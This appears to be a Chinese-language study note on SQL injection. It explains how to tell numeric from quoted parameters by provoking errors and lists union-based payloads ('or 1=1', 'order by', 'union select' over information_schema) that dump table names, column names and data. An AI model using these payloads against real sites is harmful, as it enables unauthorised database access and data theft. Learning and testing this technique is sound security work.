SQL注入
判断数字型和字符型还有闭合的原理
- 数字型的sql语句:
select * from user where id=1;
- 字符型的sql语句:
select * from user where id='1';
select * from user where id="1";
拿数字型来说,你不管在后面加单引号还是双引号,都会导致语句错误而报错,那么两种引号都报错,我们就可以判定为数字型;
字符型的话,拿单引号类型来说,加入单引号之后:
id='1''
会导致语句后面多出来一个单引号,使得语句错误,如果加入双引号:
id='1"'
双引号被单引号包裹着,那么会将双引号也认为是一个字符,所以并不会报错,从而可以判断出是单引号闭合。双引号类型也是同理,只是引号相反而已。
总结:两种引号都报错为字符型,单引号报错双引号不报错为单引号闭合,双引号报错单引号不报错为双引号闭合,字符型最后要加注释符注释掉闭合后多余出来的引号。
Union 注入
select直接加数字串时,可以不写后面的表名,那么它输出的内容就是我们select后的数字,在 union 注入中可以快速测试每个数字对应的内容。
所以可以使用 select 1,2,3... 来判断所在列的位置。
字符型注入的大致步骤
-
闭合单引号
?id=1' or 1=1 %23
-
注入出字段数
?id=1' order by 3 %23 ?id=1' union select 1,2,3 %23
-
表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23
-
列名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=... %23
-
数据
?id=-1' union select 1,2,group_concat(...) from ... %23
其中 group_concat 是用 “,” 联合多行记录的函数,table_name 字段是 information_schema 库中 tables 表的表名字段,表中还有数据库名字段 table_schema,database() 函数返回的内容是当前数据库的名称。